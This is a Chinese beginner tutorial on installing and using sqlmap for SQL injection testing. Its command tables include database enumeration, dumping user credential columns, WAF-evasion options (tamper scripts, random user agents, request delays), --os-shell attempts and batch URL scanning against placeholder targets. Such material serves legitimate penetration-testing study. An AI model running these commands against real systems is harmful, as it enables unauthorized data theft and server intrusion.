一、前言
sqlmap 是一款开源的 SQL 注入测试工具,支持 MySQL、Oracle、SQL Server 等主流数据库,可自动探测并利用 SQL 注入漏洞,实现数据库信息获取、数据导出甚至服务器权限控制。本指南针对新手设计,从环境搭建到命令实操逐步讲解,确保零基础用户也能快速上手。
二、环境准备:Python 安装与配置
sqlmap 基于 Python 开发,需先搭建 Python 运行环境(推荐 Python 3.6~3.12 版本,Python 2.x 已停止维护,3.13+ 可能存在兼容性问题)
2.1 下载 Python
- 访问 Python 官方下载页:https://www.python.org/downloads/ (选择 “Stable
Releases” 下的稳定版,格式为「Python 3.x.x」,如 3.12.4) 64 位系统:下载「Windows x86-64
executable installer」 32 位系统:下载「Windows x86 executable installer」
注意:避免下载无效版本(如原链接中 “python-3137” 为错误格式,正确版本号含小数点,如 3.12.4)。 安装
Python(关键步骤): 双击安装包,务必勾选「Add Python.exe to PATH」(自动配置环境变量,避免后续手动操作);
选择安装方式: 新手推荐「Install Now」默认安装(路径通常为 C:\Python312); 进阶用户可选「Customize
Installation」,自定义安装到非系统盘(如 D:\Python312,需记住路径)。 - 验证 Python 环境 打开命令提示符(CMD):按下 Win + R,输入 cmd 回车; 执行版本验证命令(出现以下结果即成功):
py -V # 或 python -V(若 py 命令无效,替换为 python)
成功示例:Python 3.12.4
失败处理:若提示 “不是内部或外部命令”,需手动配置环境变量(见 2.3 节)。
- 手动配置环境变量(仅安装时未勾选 PATH 需操作)
右键「此电脑」→「属性」→「高级系统设置」→「环境变量」;
在「系统变量」中找到「Path」→ 双击编辑;
点击「新建」,分别添加以下 2 个路径(需替换为你的 Python 安装路径):
Python 主程序路径:D:\Python312
脚本路径(pip 等工具):D:\Python312\Scripts
点击「确定」保存,关闭所有 CMD 窗口后重新打开,执行 py -V 验证。
三、sqlmap 下载与目录配置
提供两种下载方式,新手推荐「官网直接下载」,进阶用户可选择「Git 克隆」获取最新版。
- 方式 1:官网直接下载(推荐新手)
访问 sqlmap 官网:https://sqlmap.org/
点击右上角「Download」,下载最新压缩包(格式为 .zip);
解压到指定目录:
新建无中文 / 无空格的文件夹(如 D:\Tools\sqlmap);
右键压缩包 →「解压到当前文件夹」,确保解压后目录包含 sqlmap.py(核心执行文件)。 - 方式 2:Git 克隆下载(需先装 Git)
安装 Git:访问 https://git-scm.com/download/win,下载后默认安装;
打开 CMD,切换到目标目录(如 D:\Tools):
cd /d D:\Tools # /d 用于跨盘符切换(如从 C 盘到 D 盘)
执行克隆命令,自动下载最新版 sqlmap:
git clone https://github.com/sqlmapproject/sqlmap.git
克隆完成后,生成 D:\Tools\sqlmap 目录,包含所有核心文件。
拉倒最后下载对应版本 安装完 配置环境变量
五、sqlmap 核心命令详解(分类整理)
按「基础探测→数据导出→优化绕过→高级功能→辅助调试」分类,每个命令含「格式 + 作用 +示例」,示例基于目标 URL http://127.0.0.1?name=1 编写。
5.1 数据库 密码提取
命令 | 解释 | 示例 |
---|---|---|
--dbs |
枚举目标服务器上的所有数据库名称 | python sqlmap.py -u "http://xx/?id=1" --dbs |
--current-db |
查看当前请求所连接的默认数据库 | python sqlmap.py -u "http://xx/?id=1" --current-db |
-r 本地请求文件.txt |
加载本地保存的 HTTP 请求包(适用于 POST 注入、带 Cookie/Token 的场景,需先抓包保存为 TXT) | python sqlmap.py -r request.txt --dbs |
-d "数据库连接串" |
直接连接数据库(无需通过 Web 注入,需知道数据库账号密码)# 格式:dbms://用户名:密码@IP:端口/数据库名(以 MySQL 为例) | python sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/test” |
5.2 数据导出:表、列、内容提取
在确定数据库和表结构后,用于提取核心数据(如用户账号、密码),是注入测试的核心目标。
命令格式 | 作用 | 实操示例 |
---|---|---|
-D 数据库名 --tables |
枚举指定数据库下的所有表名称 # 枚举 security 数据库的所有表 | python sqlmap.py -u “http://xx/?id=1” -D security --tables |
-D 数据库名 -T 表名 --columns |
枚举指定表下的所有列名称(需先通过 --tables 确认表名) # 枚举 security 库中 users 表的所有列 |
python sqlmap.py -u “http://xx/?id=1” -D security -T users --columns |
-D 库名 -T 表名 -C 列名1,列名2 --dump |
导出指定列的所有数据(多列用英文逗号分隔,支持模糊匹配)# 导出 security.users 表中 id、username、password 列的数据 | python sqlmap.py -u “http://xx?id=1” -D security -T users -C id,username,password --dump |
--dump-all |
导出所有数据库的所有表数据(谨慎使用!数据量大时耗时久,易触发防护) | python sqlmap.py -u “http://xx/?id=1” --dump-all |
-D 库名 -T 表名 --dump --start 1 --stop 10 |
导出指定表的部分数据(--start 起始行,--stop 结束行,适用于大表) # 导出 security.users 表的第 1~10 行数据 |
python sqlmap.py -u “http://xx/?id=1” -D security -T users --dump --start 1 --stop 10 |
5.3 优化绕过:提高注入成功率(应对 WAF/过滤)
针对目标存在 WAF(Web 应用防火墙)或参数过滤的场景,通过脚本、请求调整绕过防护,减少 403/500 错误。
命令格式 | 作用 | 实操示例 |
---|---|---|
--batch |
自动选择默认选项(如“是否继续测试”“是否保存配置”),无需手动交互 # 自动枚举 security 库的表,无需手动确认 | python sqlmap.py -u “http://xx/?id=1” -D security --tables --batch |
--tamper 脚本名1,脚本名2 |
调用内置脚本对 Payload 编码/变形(绕过空格过滤、关键字拦截等,常用脚本见备注) # 用 space2comment(注释替换空格)+ unionalltounion(简化 UNION ALL)绕过过滤 | python sqlmap.py -u “http://xx/?id=1” --tamper space2comment,unionalltounion |
--delay N |
设置请求间隔为 N 秒(避免请求频率过高触发 WAF 频率限制,N 建议 1~3)# 每 1 秒发送 1 次请求,降低被封 IP 风险 | python sqlmap.py -u “http://xx/?id=1” --dbs --delay 1 |
--random-agent |
随机生成浏览器 User-Agent 头(绕过基于 User-Agent 的过滤规则) | python sqlmap.py -u “http://xx/?id=1” --dbs --random-agent |
-p 参数名 |
强制指定注入参数(避免 sqlmap 误判其他无关参数,集中测试核心参数)# 强制测试 URL 中的 name 参数,忽略其他可能的参数 | python sqlmap.py -u “http://xx?id=1” -p name --dbs |
常用
--tamper
脚本说明:
space2comment
:用/*!*/
替换空格(绕过空格过滤)unionalltounion
:将UNION ALL SELECT
简化为UNION SELECT
(绕过关键字拦截)charencode
:对 Payload 进行 ASCII 编码(绕过特殊字符过滤)
5.4 高级功能:POST 注入、多线程、权限控制
针对复杂场景(如 POST 表单、批量测试)或深度渗透(如获取服务器 Shell),提供进阶能力。
命令格式 | 作用 | 实操示例 |
---|---|---|
--forms |
自动检测页面表单(如登录框),尝试 POST 注入(无需手动构造 POST 数据) # 自动测试登录页表单的注入点 | python sqlmap.py -u “http://xx/login.php” --forms |
-data "POST参数=值&参数2=值2" |
手动指定 POST 数据(适用于已知表单参数的场景,模拟表单提交)# 模拟登录表单提交,测试 username/password 参数的注入点 | python sqlmap.py -u “http://xx/login.php” -data “username=admin&password=123” |
--thread N |
多线程加速探测(N 最大为 10,线程过多易被封 IP 或触发防护)# 5 线程枚举 security 库的表,提高效率 | python sqlmap.py -u “http://xx/?id=1” -D security --tables --thread 5 |
--os-shell |
尝试获取目标服务器的系统 Shell(需数据库高权限,成功率较低,仅作参考) | python sqlmap.py -u “http://xx/?id=1” --os-shell |
-m 目标URL列表.txt |
批量测试多个 URL(TXT 文件中每行一个含参数的 URL,适用于批量扫描)# urls.txt 中每行一个 URL(如 http://xx/?id=1) | python sqlmap.py -m urls.txt --dbs |
5.5 辅助调试:日志查看与环境检测
用于排查注入失败原因(如 WAF 类型、Payload 有效性)或优化测试策略,减少无效操作。
命令格式 | 作用 | 实操示例 |
---|---|---|
-v N |
设置日志回显等级(0~6,等级越高信息越详细,默认 3)# 显示详细日志(等级 3),用于排查注入失败原因 | python sqlmap.py -u “http://xx/?id=1” --dbs -v 3 |
--identify-waf |
检测目标是否部署 WAF 及 WAF 类型(如 Cloudflare、阿里云 WAF)# 确认目标 WAF 类型,针对性选择绕过策略 | python sqlmap.py -u “http://xx/?id=1” --identify-waf |
--smart |
启发式快速探测(跳过明显无效的测试,如不存在的参数、无注入特征的 URL)# 快速判断注入点,节省测试时间 | python sqlmap.py -u “http://xx/?id=1” --smart --dbs |
--skip-urlencode |
不对 URL 参数进行编码(适用于目标服务器不解析 URL 编码的场景) | python sqlmap.py -u “http://xx/?id=1” --dbs --skip-urlencode |
--level N |
设置注入探测等级(1~5,等级越高检测越全面,POST 注入需至少 --level 2 )# 等级 3 探测,包含 Cookie、User-Agent 等参数的测试 |
python sqlmap.py -u “http://xx/?id=1” --dbs --level 3 |
# 这里是总结
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
--level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
本教程仅供学习使用,切勿违法乱纪